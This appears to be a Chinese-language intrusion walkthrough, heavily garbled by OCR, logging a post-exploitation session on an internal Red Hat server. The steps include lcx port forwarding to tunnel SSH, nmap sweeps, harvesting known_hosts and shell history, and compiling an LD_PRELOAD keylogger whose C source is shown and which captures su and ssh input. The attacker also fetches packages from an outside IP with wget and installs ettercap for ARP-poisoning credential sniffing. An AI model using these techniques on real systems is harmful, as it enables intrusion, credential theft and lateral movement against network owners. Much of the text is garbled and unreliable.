1G13a=0ENT7GI3
Content-Disposition: form-data; name="Filedata"; fi1

Content-Type: application/octet-stream

K 314
= ZEFI:
HANRG )G, A RP 2L 20, WIHHEEE, TEIRE root AR, WKl 3-1-5:

& 3-1-5
TE T passwd Ik 515 8, Wl 3-1-6:

K 3-1-6
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Hgmahity, Wik 3-1-7:

== B @8), i @) 7] mise
] dev - (] . dbus
] proc (] module
] usr (] jems_files
~—- sys (] sbin
___ WEBE-INF ) media
— home G tnp
o ] mnt
] var ey
= ] prcture
(] opt .
: (] lost+found
] net o
] selinux S bogt
[l root Ll sHg \
3 bin J 1ib ' m
Kl 3-1-7

UNBESRE N B 1%, R ATREBERN £, R a 2 ssh 517, AR 243 pam
Ja T, RN TS 5 2 il B 55 s s 0 L 00IE pam BB, 110 pam J& I TNIGE AT DA F 2%
g, {HRZEWE, B2 (Linux jems 2.6.32-71.e16.i686 #1 SMP Wed Sep 1 01:26:34 EDT 2010
i686 1686 1386 GNU/Linux) 5 %€ /& redhat/centos6 ] R4t Hschk T HExe, ik 3-1-8:

& 318
S/ 6.0 1, 1 Hit 2 redhat MVHRIE RS, A RKE T, BT AMA? —SRERE
7, NI %% openssh 511,
—. FEIHMERET]
TNEOFE, WK 3-1-9:

K 3-1-9
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—. JRI%*:
& 3-1-10, 3-1-11, 3-1-12:

& 3-1-10

3-1-11

3-1-12
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e, BIER NI, RS ssh () 22 S 45 WSS Hiok, XIWk. 0 L& root

PR, B SEAE S
=S AR

AT ATE N AW 1P BIIRST A5, 69T lox L BIIRSS SR — 1, W&l 3-1-13:
. udsIre . 1EDS[I5L « 5311/

[root@mst tul# cp ~/Tcx fuck/
[root@msf tu]# cd !§

cd fuck/

[root@msf fuck]# 1s

lex pam_unix_64.s50 pam_unix_64.tar.gz ssh.gz

%root@msf fuck]# tar zcvf lex.tar.gz lex

(@

[root@msf fuck]# 1s -al lcx

-rwxr-xr-x 1 root root 17149 Aug 15 09:43. Tcx
[root@msf fuck]# ./lcx -m 2 -pl 8088 =p2 550

binding port 8088...... ok
binding port 550...... ok
iaiting for response on port 8088...4.....

K 3-113
AU MW T, A 3-1-14:
[root@msf fuck]# 1s -al lcx
-rwxr-xr-x 1 root root 17149 Aug 15 09:43 lcx
[root@msf fuck]# ./lcx -m 2 -pl 8088 -p2 550
binding port 8088...... ok

binding port 550...... ok
waiting for response on port 8088.........

gt ssh2: AES-256-CTR 17, 1

accept a client on port 8088 from NN 26,waiting another on port 550....

1747, 80%I| VT100

v

15 8%

& 3-1-14

BRI T, PR, AR, dnfEl 3-1-15:
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Host key verification failed.
[root@msf ~]# ssh 127.0.0.1 -p 550

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
someone could be eavesdropging on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
33:8e:8C:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
offending key in /root/.ssh/known_hosts:1
RSA host key for 127.0.0.1 has changed and you have requested strict checking.
Host key verification failed.
[root@msf ~]# cd .ssh/
[root@msf .ssh]# rm -rf known_hosts
[root@msf .ssh]# ssh 127.0.0.1 -p 550
The authenticity of host '127.0.0.1 (127.0.0.1)" can't be established.
RSA key fingerprint is 33:8e:8c:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Are you sure you want to continue connecting (yes/no)? yes
warning: Permanently added '127.0.0.1° (RSA) to the 1list of known hosts.
root@27.0.0.1"'s password:
Permission denied, please try again.
root@27.0.0.1's password:
Last login: wed Aug 14 12:14:45 2013 from 10.149.97.99
[root@jcms ~]# ifconfig
etho Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BC
inet addr:10.149.100.150 Bcast:10.149.100.255 Mask:255.255.255.0
inet6 addr: fe80::3640:b5ff:feaa:cbbc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:886406551 errors:0 dropped:0 overruns:0 frame:0
X qackets:953234601 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2622929435 (2.4 GiB) TX bytes:4247955542 (3.9 GiB)
Interrupt:28 Memory:92000000-92012800

ethl Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BE
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX qacketszo errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:40 Memory:94000000-94012800 g ;

1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0 rity Team
inet6 addr: ::1/128 Scope:Host ' 8%

K 3-1-15
Y. B B B idx:
RN i AR R T e e e H B B, et eIt HAES R, i 3-1-16:

#SInputTCPServerrun 514

#### GLOBAL DIRECTIVES ####

# uUse default timestamp format
SactionFilepefaultTemplate RSYSLOG_TraditionalFileFormat

# File syncing capability is disabled by default. This feature is usually not reqguired,
# not useful and an extreme performance hit
#SactionFileEnablesync on

#H¥S® RULES Wwowe

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern. * /dev/console

# Log an¥thing (except mail) of level info or higher.
# pon't o? private authentication messages!'

*.info;mail.none; authpriv. none; cron. none /var /log/messages

5 Ihﬁ a¥;ng;jx file bas restricted access.
authpriv. Jvar ) log/secure | -—

# Log all the mail messages in one place.
majl. > -/var/log/maillog

# Log cron stuff
cron.* /var/log/cron

# pverybody gets emergency messages

*.emerg -

# Save news errors of level crit and higher in a special file.

uucp,news.crit /var /log/spooler

# Save boot messages also to boot. log

Tocal7.* /var /log/boot. log
Kl 3-1-16

patd
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Eifi.. 4%§§IE§1 qﬁlﬁ?ﬁ%@ :
LR SRR Mg BRI RA 2 AAE RN, Wl 3-1-17:

[root@jcms ...]# nmap -sP 10.149.100.1/24 > pin

mass_dns: warning: Unable To determine amy DNS Servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
[root@jcms ...]# cut -d" " -f5 ping |grep” "10.149" > pingl
[root@jcms ...J# cat pingl

10.149.100.1

10.149.100.10

10.149.100.11

10.149.100.15

10.149.100.17

10.149.100.25

10.149.100. 30

10.149.100.40

10.149.100.41

10.149.100.151

10.149.100.152

10.149.100.153

10.149.100.200

10.149.100.201 -
10.149.100.202 i )
10.149.100.203 ( A (
10.149.100.210 Q
10.149.100.211 ™ B r
[root@jcms ...1# 1 eam

&K 3-1-17
SRIGE A ssh 2B HBMLRR, WA 3-1-18:

[root@jcms ~]# cat .ssh/known_hosts
10.149,100.153 ssh-rsa AAAAB3INZACLlyCZEAAAABIWAAAQEAW]SKEQEQGTLPMT]3IPMXRUKDQATTZOK
JGCB2VESeZswWsnjvowTgGa0k2wW20CtQzpRENpgeArwSiTgE21byN GFEUB3WA58QTBquNtoD1+thCM
ZoebyEYeV5SICNawDjg4Durr BEUb4mOHor TQbMKFKebH591xXkr 6BNZodbdKS61EYb7 jFttxa0Fwlymf 6K
al9BIqic5wABlVLU34ZNnZm/RHbrvkH1ds JQFz98wxAavD01lsfDZzEXYeU01lwoKg3B87 n+DOQNXs 5dhor293
L/7Y0QSDT6Y3beNEAGCUSXQbSvalNX] DIC41whKGOT /YYQSLWIGppUaGkc0boOvVGUwz0dpTuG==
10.149.100.150 ssh-rsa AAAAB3N2aclyc2EAAAABIwAAAQEA35c/m/N¥bS/anflkzuvzswnEGtcs
e9GNbuf7gNIBCPBHZAMBCSVI/ 1gx90vuqdybgzcEhCOLLOaT FIFAVVUmOYkypBdGm3Pko12+8kHbwfgN
45usQc+alI/7QrR/vz7 14uP0ts/zDhjGHj++k& /Hb5DtfLX,/bvt TE9ZUM2ZEejgz2Edrn3Gil7whyXxp9Ep
GEDpCFIXaLTEMcOIbLh/2vaDmywxy9xyeDEdIPby6IgRMTUYSCgahLsEbvz0D5dove+uCLuX9rcdIKER
HXSIMOEVC+FF1/B1I,/enlCTTG,/85Gknul69pX0pblomkPWGRS1IIEININKj1Qn6vGdrUi3pAsQ==
ssh-rsa AAAABBN2aClchEAAAADAQABAAABAQCWZFWS28NQHFOh¥8LMKCVfX4me
qg1v96pHDHNIN1UPHM3awax0vSPM21BmlyUu9zZZ jg/FIpyfESr 5TXZfuQiTkDolhjb1811J0CvaMrerzy
7KIQ4Tbv,/q5I18Ulel xCewyyly76dIMCv2gsTEsgkqyYLOfrwlXeoZlyJWgqPwlFVKTt3h7Z THMHQQgNvry
C75gCccPBUBY3FFFSU2VFL5G,/ gNSaT 54 EATT SXCXRRIWT jmWUbccBMNYVAYTXNLXC CWIXXF IMOVIWEWZVEX
47EQUIMIBC3WIiW,/RLMIFMAVVTTDCWOUA0GEI Trapzf BNKQK2ZPMYVLWOT D,/ KKhER0b1 X2 CDpPSEB
10.149.100.152 ssh-rsa AAAAB3NZAClyCZEAAAABIWAAAQEArYOWOeLMrGFgTIXAIZMr PokKwIML X
qugUEudrw34w?hw11gaLzﬁchzaAquefAZM4?muBGHﬁGGLthfe/klohElgt1G+ijU8 zmlvylgz
K3P1FrgBr5WZEaoFD619+IBk610PWThT /ge7ZDdXTDywyWdk? qHF 4 euxcou? hfMRy 501 F jl+td whkC40
nexnVTTSGstEOZTdeleSeLomnwmrnHTgTy4wkNGosmeﬁ4c+w1r/eoananwaFRp ALEVYSETR
PevQy /CpbvemMsafPyuFzcfDgPM2T1 2 d7 YhQoo 5DG1 3GY+jP1pyTN7VGPWXezwEFrZ 1ozhvo

O
[root@jcms ~]# ' _ﬂ__— | Eiim

K 3-1-18
AR, A —NREERE |, T kerberos (5, rsync % %%, Mount H %t
FREEAEAT T ir 4, 1 history BN A F FIEH S0 P, Wk 3-1-19, K 3-1-20, K 3-1-21:

MTogging]

default = FILE: /var,/log/krb51ibs. Tog

kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind. log

[Tibdefaults]

default_realm = EXAMPLE.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_Jlifetime = 7d
forwardable = true

[realms]

EXAMPLE. COM = {
kdc = kerberos.example. com
admin_server = kerberos.example. com

[domain_realm]
.example. com = EXAMPLE.COM
examp le. com = EXAMPLE. COM

Kl 3-1-19
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[root@jcms ~]# mount

Jdev/sdal3 on / type extd (rw)

proc on /proc type proc (rw)

sysfs on /sys pe sysfs (rw)

devpts on jy fyts Type devpts (rw,gid=5,mode=620)
tmpfs on fdevfs m type tmpfs (rw, rootcontext=" ‘system_u:obj mpfs_t:s50")
Jdev/sdal on /boot Type extd (rw)

Jdev/sdal2 on /data type extd (rw)

none on /fproc/s 5{f5/§1nfmt misc type binfmt_misc (rw)

sunrpc on Jvar/lib/nfs/rpc_pipefs type rpc_p1pef5 (rw) ;'f 1 Te

[root@jcms ~]1# | .a} | BdM
3-1-20

}?c;lﬁg |

p1ng 10.149.100.1

ping www. baidu. com
ping www.baidu,com
export LANG=zh_CN

setu|

export LANG=zh_CN

setu|

ssh 10.149.100.153
ssh 10.149.100.153
export LANG=zh_CN
setup

export LANG=zh_CN
setup

1fcnnf1
cd /etc/

cd /etc/sysconfig/
cd /etc/sysconfig/network-scripts/

cat ifcfg-0
cat ifcfg-etho

ifconfi "”d__.._—'—'"
ssh 10.149.100.153
[ ]

telnet 5678

Lut DRSNS
ssh 10.149.100.153
dir

export LANG=zh_CN
setup

ssh 10.149,100.153
0

P
s -ef | grep java
i1 -9 lg E
/data,tomcat/b1n/star(up sh
ﬂs -ef \ jav

i1
/data/(omcat/b1n/s(artup.sh
ps -ef | grep java

%d /data/tomcat /webapps/ 1
s

searity Taang

cd
cd /data/tomcat/
Is

B 3-1-21
! WA AR, TR,
ﬁﬁﬁﬁi:
W E XK LD_keylog JEAHIILT, P LLERIEANL ssh, rsync, su IPTA#EAE, EHNIXR
PEIRD, REDAHIE, 4nf 3-1-22:

o’ Author: matias Fontanini
*/

#define _XOPEN_SOURCE 600
#include <stdio.h>
#include <std1lib.h>
#include <string.h>
#include <unistd.h>
#include <difcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#define __USE_BSD
#include <termios.h>

/* Redefine OUTPUT_FILE to whatever path you want your log to be saved. */
#ifndef OUTPUT_FILE

#define OUTPUT_FILE "/tmp/.../output”
#endif ‘F‘_“'“"“““‘h—-—~—‘———_~____

#define RTLD_NEXT ((void *) -11)

typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]);
void __attribute__ ((constructor)) init(void);

extern char **environ;
/* The real execve pointer. */
execve_fun execve_ptr = 0;

/* our file descr1pt0r "

int file = -1

/* The read buffer. */

char buffer[256]; . )

/* Array containing the fi

char *injected_files[] = {["/bin/su”, "/usr/bin/ssh", "/usr/bin/telnet”, "/usr/bin/kadmin", "/usr/bin/scp”, "/usr/gjnipsygm

"keylogger.c" 205L, 6693C ES A 19
[root@jcms LD_| PRELOAD_| key1ogger]# make
gcec -c -wall -03 -fPIC " -c -0 kello?ger.o key]ogger.c ‘-”ify T&\am
gcc keylogger.o -1d1 -wl,-soname, keylogger.so -shared -o keylogger.so = ; s s

& 3122

BB N BRI E DL A A I RER, & 3-1-23:
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[r‘oot@]cms LD_PRELOAD_keyloggerJ# source /etc/profﬂe
[root@jcms_LD_PRELOAD_keylogger]# su
bash-4.1# 1s

alsaunmute cgdelete dash domainname awk kill mkdir nisdomainname rnano su ulockmgr_server zsh
arch cgexec date dumpkeys gettext ksh mknod ping rpm sync umount
awk cgget dbus-cleanup-sockets ec o grep Tink mksh ing6 rvi tar uname
basename cgset dbus-daemon gtar in mktemp plymouth rview taskset unicode_start
h charp dbus -t mommr egrep gunzip loadkeys more ps sed tesh unicode_stop

chmod dbus-send env gzip login mount pwd setfont touch unlink
brkty conrﬁ? chown dbus-uuidgen ex 0stname 1s mountpoint raw setserial tracepath usleep
br'lt(y install cp d false ipcalc Iscgroup mv readlink sh tracepathé  vi

cpio df fgrep 1gtab1 es-xml 1ssubsys nano red sleep traceroute view
cgc'lass1fy csh dmesg find kbd_mode mai netstat rm sort traceroute6 ypdomainname
cgcreat dnsdomainname fusermount keyctl mailx nice rmdir stty true
b3sho4.1# ifconfi g
etho Link encap:Ethernet Hwaddr 34 40:B5:AA:CB:BC

inet addr:10.149.100.150 Bcast:10.149.100.255 Mask:255.255.255.0

inet6 addr: fe80::3640:b5ff: feaa cbbc/64 scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l

RX packets:886528149 errors:0 dropped:0 overruns:0 frame:0
qackets 953386270 errors 0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes: 2642940405 (2.4 GiB) TX bytes:32907036 (31.3 MiB)

Interrupt:28 Memory:92000000-92012800

ethi Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BE
UP BROADCAST MULTICAST MTU:1500 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX_packets:0 errors: 0 dropped:0 overruns:0 carrier:0

collisions:0 queue1en 1000
RX bytes:0 (0.0 ytes:0 (0.0 b)
Interrupt:40 Memury 94000000-94012800

To Link encap:Local Loopback

inet add 27.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:HostT

UP LOOPBACK RUNNING MTU:16436 Metric:l

RX packets:18665 errors:0 dropped:0 overruns:0 frame:0
ﬁ)ackets 118665 errors: o dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:

RX bytes:1534131 (1.4 M‘IB) ™ bytes:1534131 (1.4 miB)

usbo Link encap:Ethernet Hwaddr 36:40:B5:AD:BA:
inet6 addr: fe80::3440:b5ff:fead:ba87/64 scope L1nk
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:
RX packets:3470458 errors:0 dropped:0 overruns:0 frame 0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0

U

=
c
-
[1:]
o
-]

3-1-23
MAAZR B, B S, R AR RHAER, AR S history 2 AT A 1, Wik 3-1-24:

-bash-4.1# exit
Jogout
[root@jcms LD_PRELOAD_keylogger]# cd .

[root@;{cms e

LD_key ogtar z LD_PRELOAD_keylogger nmap openssh output ping pingl sshbd.gz ssh_config.old sshd_config.old
[root@]cms ...]# cat output

ifconﬁ g R >

id ¢

exit

exit r
[root@jcms dm

K 3-1-24

+. i & yum B
NI 2% ettercap, 3% ettercap AL EAEA] yum 2 T, (HEW? A T —N AR Jﬂi
ARG redhat VAR 6. 0 FUERAE R G, X0 yum JEIM EALFERY, FRWAE TR SS
J:Tfféi*/l\ redhat iso 515, H CHEH#— yum JERIRHE N, M H AR 24, FEU\”)E'?

AR I pAE redhat yum JR1E ] centos yum JESRIEAT 2235 . BRUEFIL R 2 AT R, #i5)
iiﬁe INCAR ) FR G 22 20 B B AN e 25 H B |
1. MB& redhat FH K] yum I8
#rpm-aq | grep yum|xargs rpm -e --nodeps
2. TEHFH yum 0
KRN AR FEEPAEEIT O 7, ik 3-1-25:

[roo(@ s yum.repns.d]lt Ts

root@jcms yum,repos.d]# cd /tmp/.../

[root@jcms ~...

ettercap-0.7.5- ; e16.1. 20120906gitc796e5. 1686.rpm  LD_PRELOAD_keylogger openssh ping  sshbd.gz sshd_config.old
LnJ( ng.t 1z nmap output  pingl ssh_config.old
.?ﬂ wget h(tg /72

[ros . ‘/tu/fu(k/yum zip
--2013 08 15°23:23130- tp 185/tu/fuck/yum, zip

EZS# 216.18,100.185:80. .. 235,
S & HTTP xq?z Eﬁ HEm
. 1064576 (1.0 Tapp Teation/ zip]
EERETE:
100%[ 11,064,576  749k/s  in 1.4s

2013-08-15 23:23:31 (749 KB/5) - ER7F “"yum.zip" [1064576/1064576])

rootejcns ...1# unzip yum. zip
Archive: yum
creating: yum’
inflating: yum/python-iniparse-0.3.1-2.1. €16, noarch rpm
inflating: yum/yum-3.2.29-40. e16. centos, noarch.
NF1ating: yum/yum-metadata-parser1.1.2-16. e16. 1686. -
inflating: yum/yum- plugin Fabtestairror 1.1, 30-14. €18, hoarch, rpm
[roo(@]cms .. 1% cd v

Foot@jcms yuml# rpm -ivh pglhon iniparse-0.3.1-2.1.e16.noarch.r
warnin? Python-imiparse-0 2.1, e16. noarch. rom: Header v3 Ra/: SHA256 Slgna(ure key ID c105b9de: NOKEY
Preparin

age python-iniparse-0.3.1-2. 1. e16. noarch is already 1nsu11ed
[rou(@j(ms yum] rpn -1vh yum-metadata-parser-1.1.2-16. ¢16. i6
rning: yun-metadata-parser-1.1.2-16. ¢16. j686. rpm Hoader Vs RSASHAL signature key ID c105b9de: NOKEY
n

vrepar
iyum m-metadata-parser [100%
[roo( jems yum]» rpm, -ivh yum-3.2.29-40. e16. centos. noarch. rpm
warning: .2.29-40, e16. centos.noarch. rpm: Header V3 RSA/SHAL Signature, key ID c105b9de: NOKEY

error: ;a 'Ied dependendes
1ug1n fastestmirror is needed by yum-3.2.29-40.e16. centos.noarch
[root@jcms yum]w s
python- se-0.3.1-2.1.e16.noarch. rpm yu---enoau parser-1.1.2-16. e16. 1686. rpm
3.2. zs4o.e16 centos.. noar ch. rpm yum-plugin-fast Testairror -1.1.30-14. e16.noarch.rpm
*root@jcms yunqﬂ rpm_-ivh yum-plugin-fastestmirror-1.1.30-14. e16.noarch. rpm
warning: yun-p ugin- fastestmﬂ'ror 1.1.30-14. e16. noarch. rpm Header V3 RSA/SHAL Signature, key ID c105bode: NOKEY
error: Failed dependencies

yum >= 3.0 is needeo | by yum- plugin-fastestmirror-1.1.30-14. e16. noarch -

[root@jcms yum]no rpm -ivl

warning: yus-3.2.29-40. 6 ratos omrchs rpm: Header V3 RSA/SHAL Signature, kﬁy ID c105b9de: NOKEY
ng .

é:

—
U
12

age yum-metadata-parser-1.1,2-16.e16.1686 is already installed
[roo(@j(m) yum] L

K 3-1-25
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ZRERIN)E, BCE yum JE, W1 3-1-26:
LrOOTE]CMS yum.repos.aj# 15

[root@jcms yum.repos.d]# cat /etc/issue

Red Hat Enterprise Linux Server release 6.0 (Santiago)
Kernel \r on an \m

[root@jcms yum.repos.d]# uname -a
Linux jcms 2.6.32-71.e16.1686 #1 SMP wed Sep 1 01:26:34 EDT 2010 1686 1686 1386 GNU/Linux
[root@jcms yum.repos.d]# vim etter.repo

[etter]
name=ettercap
baseur1=http://d1.fedoraproject.org/pub/epel/6/1386/ L
enabled=1
gpgcheck=0

ir

K 3-1-26
Yum PRI, G 3-1-27, 18 3-1-28:

root@jcms yum.repos.dl# cat ettercap.repo
name ]
name=etter
baseuri=http://mirrors.163. com/centos,/6/0s5/1386/
enabled=1
pgcheck=0
?root@jcms m.repos.dl]# yum clean all;yum list
Loaded plugins: fastestmirror
Cleaning repos: name
Cleaning up Everything
Loaded plugins: Tastestmirror
Determining fastest mirrors

troot@ cms yum]#® cd /Jetc/yum.repos.d/

name
name/primary_db

K 3-1-27
xorg-xi1-xkb-utiTs. 7686 7.7-4.816 name 4
xorg-x11-xkb-utils-devel. 1686 7.7-4.¢16 name
xor?-xll-xtrans-deve'l.noarch 1.2.7-2,e16 name
xqilla. 1686 2.2.3-8.e16 name
xqilla-devel. 686 2.2.3-8.e16 name
xqi11a-doc. noarch 2.2.3-8.e16 name
xrestop. 1686 0.4-7.1.e16 nanme
xsane, 1686 0.997-8.¢16 name
xsane-common. 1686 0.997-8.¢16 name
xsane-gimp. 1686 0.997-8.e16 name
xulrunner. 1686 10.0.12-1.e]6. centos name
xulrunner-devel. 1686 10.0.12-1, e16. centos name
yaj1-devel. 1686 1.0.7-3.e16 name
yap. 1686 5.1.3-2.1. name
yap-devel. 1686 5.1.3-2.1, name
yaq-docs.isae 5.1,3-2.1, name
yelp. 1686 2.28.1-13, name
yp-tools. 686 2.9-12.e16 name
ypbind. 1686 3:1.20, name
ypserv. 1686 2.19-26.e16 name
yum-Networ kManager -dispatcher. noarch 1.1.30-14.e16 name
yum-cron. noarch 3.2.29-40.e16. centos name
yum-plugin-aliases. noarch 1.1.30-14. 16 name
yum-plugin-auto-ugdate-debug-1 nfo.noarch 1.1.30-14.e16 name
yum-plugin-chan?e 0g. noarch 1.1.30-14.e]6 name
yun-plugin-downToadonly. noarch 1.1.30-14.¢16 name
yun-plugin-filter-data. noarch 1.1.30-14.e16 name
yum-plugin-fs-snapshot. noar ch 1.1.30 name
yum-plugin-keys. noarch 1.1.30 name
yun-plugin-1ist-data. noarch 1.1.30 name
yum-plugin-Tocal. noarch 1.1.30 name
yun-plugin-merge-conf. noarch 1.1.30 name
yum-plugin-post-transaction-actions. noarch 1.1,30-14,e16 name
yun-plugin-priorities.noarch 1.1.30-14.e16 name
yum-plugin-protectbase. noarch 1.1.30-14.e16 name
yum-plugin-ps. noarch 1.1.30-14. €16 name
yun-plugin-remove-with-leaves. noarch 1.1,30-14.e16 name
yun-plugin-rpm-warm-cache. noarch 1.1.30-14.€16 name
yun-plugin-security. noarch 1.1.30-14. name
yun-plugin-show-1eaves. noarch 1.1.30-14. name
yum-plugin-tmpr epo. noarch 1.1.30-14. name
yun-plugin-ts! 1ags.noarch 1.1.30-14. name
yum-plugin-upgrade-helper. noarch 1.1.30-14. name
yum-plugin-verify. noarch 1.1.3 name ¢ I
yun-plugin-versionlock. noarch 1 name §
yum-pr;sto.ngarch ’ 0 name TV ﬂ
yun-updateonboot. noarc 1 name l
yum-utils, noarch 1 name ‘rlty Tean!]

K 3-1-28
Ok, yum ¥ i#l, NHHBEAT ettercap %%,
J\. &3 ettercap:
AT yum BEHELFIN T, VRIS, ELEE yum install HE, 4T 3-1-29:
GAILSEEE A T ettercap %25 4E, WK 3-1-30:

P
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Toot@jcms ... ]# rpm -ql ettercap ]
/et:/ett A
/etc/eturcap/etur conf

/etc/ettercap/etter.dns

/etc/ettercap/etter.nbns

Jusr /b n/e((ercag

/usr/bin/etterfilter

/usr/bin/etterlog
Jusr/ /ettercal
/usr/lib/ettercap/ec_arp_cop.so
/usr/lib/ettercap/ec_autoadd. so
/usr/lib/ettercap/ec_chk_poison.so
/usr/1ib/ettercap/ec_dns_spoof.so
/usr/lib/ettercap/ec_dos. at(ack so0
/usr/1ib/ettercap/ec_dur

/usr/lib/ettercap/ec_{ find,conn so
/usr/1ib/ettercap/ec_find_ettercap.so
/usr/1ib/ettercap/ec_find_ip.so
/usr/1ib/ettercap/ec_finger.so
/usr/lib/ettercap/ec_finger_submit.so
/usr/lib/ettercap/ec_gre_relay.so

Jusr/’ /ettercap/ec_gw_discover.so
/usr/lib/ettercap/ec_jsolate.so
/usr/lib/ettercap/ec_link_type.so
/usr/1ib/ettercap/ec_nbns_s| .50
/usr/lib/ettercap/ec_pptp_chapmsl.so
/usr/lib/ettercap/ec_pptp_¢ :1ear.so
/usr/lib/ettercap/ec_pptp_pap.s

Jusr/’ /et(erca:/e(_pp!p_renag so0
/usr/1ib/ettercap/ec_rand_f1

/usr/1ib/ettercap, /ECJewteJ)rowser so
/usr/1ib/ettercap/ec_reply_arp.so
/usr/lib/ettercap/ec_repoison_arp.so
/usr/1ib/ettercap/ec_scan_poisoner.so
/usr/lib/ettercap/ec_search_promisc.so
/usr/1ib/ettercap/ec_smb_clear.so
/usr/lib/ettercap/ec_smb_down.so
/usr/1ib/ettercap/ec_smurf_attack.so

Jusr/ /et(erca*/ec_ss‘lstrip.so
/usr/1ib/ettercap/ec_stp_mangler
/usr/share/appli ations/fedora ettercap desktop

/usr/share/doc/etterca:-

Jusr/share/doc/ettercap-0. 7 S/Aumons »
/usr/share/doc/ettercap-0.7.5/CHANGELOG ‘\ s J
/usr/share/doc/ettercap-0.7.5/LICENSE

;usr;s:are;gocfeuerca'-8. ; g?nsws ------------------
usr/share/doc/ettercap-0.7. 5/ THANKS 1

e ohare o eercap-o. 7.3/ 7000 urity Team,

& 3-1-30
TE ettercap ATMRER I 1 CRDLEAE K, & ) 80,636,21,22,25,110,23 #7E B IH, ZRilE
e T B4, WK 3-1-31:

#dissector default port
dissectors]
= 21 Tcp 21
ssh = 22 Tcp 22
telner = 23 Tcp 23
smtp = 25 tcp 25
dns = 53 udp 53
dhcp = 67 udp 68
http = 80 tcp 80
ospf = 89 ip 89 (IPPROTO 0x59)
pop3 = 110 tcp 110
#portmap = 111 # tcp / udp
vrrp = 112 ip 112 (IPPROTO 0x70)
nntp = 119 tcp 119

smb « 139,445

tcp 139 445
imap = 143 220

Tcp 143 220

snmp = 161 udp 161
bgp = 179 tcp 179

= 389 tcp 389
https = 443 Tcp 443
ssmrp = 465 Tcp 465
rlogin = 512,513 tcp 512 513
rip = 520 udp 520
nntps = 563 tep 563
Tdaps = 636 tcp 636
telnets = 992 tcp 992
imaps = 993 tcp 993
ircs = 994 tcp 993
pop3s = 995 tcp 995
socks = 1080 Tcp 1080
radius = 1645,1646 udp 1645 1646
msn = 1863 Tcp 1863
cvs = 2401 Tcp 2401
-ysq1 = 3306 tcp 3306
icq = 5190 tcp 5190
ymsg = 5050 tcp 5050

= 5900,5901,5902,5903
x11 = 6000,6001,6002,6003
irc = 6666,6667,6668,6669
napster = 7777 ,8888

Tcp 5900 5901 5902 5903
tcp 6000 6001 6002 6003
tcp 6666 6667 6668 6669
tcp 7777 8888

TTTTTTATARTELTETTTTRTTRTRRRRTXTETE: T TS

proxy = 8080 tcp 8080
rcon = 27015,27960 udp 27015 27960
ppp = 34827 special case ;) this is the Net Layer code

-
# you can change the colors of the curses GUI.

B 3-1-31
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R FEATEH ettercap MRERIE
JL. [ ettercap BEAT P R IR
NELPR I 388 2] {4 17 L BRI R A ) yum SRIEAT 2225 1) ettercap, BT A LLESHT, 42 0.7.5, ettercap0.7.5
ZJEHEH T X ipve HIRAR T .

FTLAER 0.7.3 B — S HeA e AN, i 3-1-32, & 3-1-33, [&] 3-1-34:

Incorrect number of token (///) in TARGET !! =
3
) |[root@jcms ...]# yum install Tlibnet
‘|Loaded plugins: fastestmirror
1 |Loading mirror speeds from cached hostfile
Setting up Install Process
Package 1libnet-1.1.5-1.e16.7686 already installed and latest version
2{Nnothing to do
—|[root@jcms ...]# ettercap -T -M arp "// //" -q -i ethO
h parch tips Subscriptions
ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team
g RGET !!
__|TARGET (// //) contains invalid chars !
5
[root@jcms ...]# EI
Bfiag ssh?: AES-256-CTR 17, 18 174F, 80%| vrio0 +5 #= 4

“WHAT STEPS WILL YEProauce the Proplem?
1. V3.7 on Gentoo

I made couple of changes to the script (mainly path corrections for my gentoo system (dhepd. conf fetc/ettercap/etter. conf and so on)
2. when trying to launch fake ap static ettercap does not work
Please provide any additional information below.

The script calls
ettercap —a fetc/ettercap/etter. conf -T —q -1 fhomefuser/Downloads/easy—creds-2012-11-17-1423/et tercap2012-11-17-1431 -i atd // //

and ettercap answers
Incorrect number of token (///) in TARGET !!

is this an error in the script or am i missing something?

#2 jorav... @gmail.com

Ettercap 0.7.5 required an extra / because we enabled IPvE. We recently took that out..so if Rick updated to ettercap .7 "1 8t should work »

Also, make sure you are running easycreds v3.7.3.

Please let me know since I am not cwrently a Gentoo user
K 3-1-32

Re: [Ettercap-Detatesting] ettercap does not recognize target
From: Emilio Escobar <eescodbar@gm. > - 2012-11-26 14 27

Attachments: Message as HTML

pages, 1t needs an extra / i1n the target selection becausse

should work

Emilio ar eescobar@

= Graat ts slvays o ntered
=tro s t: from mediocre minds -- Einzteinm

On Fri, Howv 23, 2012 at 636 PR, Sergio Basurto <zbaszurtod
-

I do not know if thiz is the right place to post ion, se I will
ask here, please if this i1s not the right place let me know and point me to
the right direction

tall my Linux machine and install the latest ettercap wersios
available once installed I typed
